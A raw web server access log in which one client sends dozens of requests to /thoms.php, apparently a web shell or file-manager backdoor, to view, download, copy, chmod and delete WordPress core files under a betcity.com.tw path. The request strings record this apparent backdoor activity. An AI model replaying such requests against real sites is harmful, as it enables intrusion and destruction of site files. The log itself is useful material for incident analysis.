45.135.193.11 - - [11/Sep/2026:23:35:40 -0400] "GET /thoms.php?del=class-wp-roles.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=class-wp-roles.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:40 -0400] "GET /thoms.php?del=functions.wp-styles.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=functions.wp-styles.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:41 -0400] "GET /thoms.php?chmod=cache.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?chmod=cache.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:41 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-http.php HTTP/1.1" 200 12107 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-http.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:41 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=feed-atom-comments.php HTTP/1.1" 200 13933 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=feed-atom-comments.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:41 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Frss.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11863 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Frss.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:41 -0400] "GET /thoms.php?del=feed-rss2.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=feed-rss2.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:41 -0400] "GET /thoms.php?dl=rest-api.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59427 "http://163.245.207.76:443/thoms.php?dl=rest-api.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:41 -0400] "GET /thoms.php?dl=ms-files.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59406 "http://163.245.207.76:443/thoms.php?dl=ms-files.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:42 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=cache.php HTTP/1.1" 200 14906 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=cache.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:42 -0400] "GET /betcity.com.tw/wp-includes/class-wp-customize-setting.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:42 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fstyle-engine.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11906 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fstyle-engine.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:42 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-walker-comment.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-walker-comment.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:42 -0400] "GET /betcity.com.tw/wp-includes/class-wp-http-curl.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:42 -0400] "GET /thoms.php?dl=class-wp-duotone.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?dl=class-wp-duotone.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:42 -0400] "GET /thoms.php?del=date.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59435 "http://163.245.207.76:443/thoms.php?del=date.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:43 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=ms-network.php HTTP/1.1" 200 13425 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=ms-network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:42 -0400] "GET /thoms.php?del=class-wp-locale-switcher.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?del=class-wp-locale-switcher.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:42 -0400] "GET /thoms.php?dl=class-wp-matchesmapregex.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class-wp-matchesmapregex.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:43 -0400] "GET /thoms.php?chmod=utf8.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=utf8.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:43 -0400] "GET /thoms.php?chmod=PHPMailer&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=PHPMailer&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:43 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Frest-api&p= HTTP/1.1" 200 12360 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Frest-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:43 -0400] "GET /thoms.php?chmod=class-wp-block-bindings-source.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11543 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-bindings-source.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:43 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-http.php HTTP/1.1" 200 25564 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-http.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:43 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-widget-factory.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-widget-factory.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:43 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fdeprecated.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fdeprecated.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:43 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes%2FIXR HTTP/1.1" 200 14471 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes%2FIXR" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:43 -0400] "GET /thoms.php?dl=class-walker-page-dropdown.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class-walker-page-dropdown.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:43 -0400] "GET /betcity.com.tw/wp-includes/class-wp-styles.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:44 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-admin-bar.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-admin-bar.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:44 -0400] "GET /betcity.com.tw/wp-includes/ai-client/ HTTP/1.1" 200 908 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:44 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-view-config-data.php HTTP/1.1" 200 21231 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-view-config-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:44 -0400] "GET /thoms.php?chmod=rest-api.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=rest-api.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:44 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2FRequests&p= HTTP/1.1" 200 12358 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2FRequests&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:44 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=bookmark-template.php HTTP/1.1" 200 15887 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=bookmark-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:44 -0400] "GET /thoms.php?chmod=class-oembed.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=class-oembed.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:44 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-block-styles-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-block-styles-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:44 -0400] "GET /thoms.php?chmod=class-wp-block.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:44 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-hook.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-hook.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:44 -0400] "GET /thoms.php?chmod=class-wp-block-parser.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-parser.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:44 -0400] "GET /thoms.php?chmod=class-wp-speculation-rules.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=class-wp-speculation-rules.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:44 -0400] "GET /thoms.php?del=class-wp-dependency.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=class-wp-dependency.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:44 -0400] "GET /thoms.php?dl=class-wp-http-ixr-client.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-ixr-client.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:45 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-user-query.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-user-query.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:45 -0400] "GET /thoms.php?chmod=class-wp-user-request.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user-request.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:45 -0400] "GET /thoms.php?dl=class-wp-theme-json.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:45 -0400] "GET /betcity.com.tw/wp-includes/abilities.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:45 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-embed.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11834 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-embed.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:45 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-smtp.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11872 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-smtp.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:45 -0400] "GET /thoms.php?dl=general-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=general-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:45 -0400] "GET /thoms.php?dl=class.wp-styles.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59448 "http://163.245.207.76:443/thoms.php?dl=class.wp-styles.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:45 -0400] "GET /thoms.php?chmod=class-wp-user-meta-session-tokens.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11545 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user-meta-session-tokens.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:46 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=link-template.php HTTP/1.1" 200 49589 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=link-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:45 -0400] "GET /thoms.php?dl=class-wp-scripts.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59400 "http://163.245.207.76:443/thoms.php?dl=class-wp-scripts.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:46 -0400] "GET /thoms.php?chmod=update.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=update.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:46 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fblock-supports&p= HTTP/1.1" 200 12353 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fblock-supports&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:46 -0400] "GET /thoms.php?chmod=ID3&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=ID3&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:46 -0400] "GET /thoms.php?chmod=pluggable-deprecated.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=pluggable-deprecated.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:46 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fsitemaps.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fsitemaps.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:46 -0400] "GET /thoms.php?chmod=template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:46 -0400] "GET /thoms.php?del=class-wp-error.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-error.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:46 -0400] "GET /thoms.php?del=robots-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=robots-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:47 -0400] "GET /thoms.php?del=vars.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=vars.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:47 -0400] "GET /thoms.php?del=class-walker-category-dropdown.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=class-walker-category-dropdown.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:47 -0400] "GET /betcity.com.tw/wp-includes/feed-rss.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:47 -0400] "GET /thoms.php?del=class-wp-recovery-mode-email-service.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59442 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-email-service.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:47 -0400] "GET /thoms.php?dl=comment-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=comment-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:47 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=ms-deprecated.php HTTP/1.1" 200 19318 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=ms-deprecated.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:47 -0400] "GET /thoms.php?chmod=ms-functions.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=ms-functions.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:48 -0400] "GET /betcity.com.tw/wp-includes/class-wp-customize-manager.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
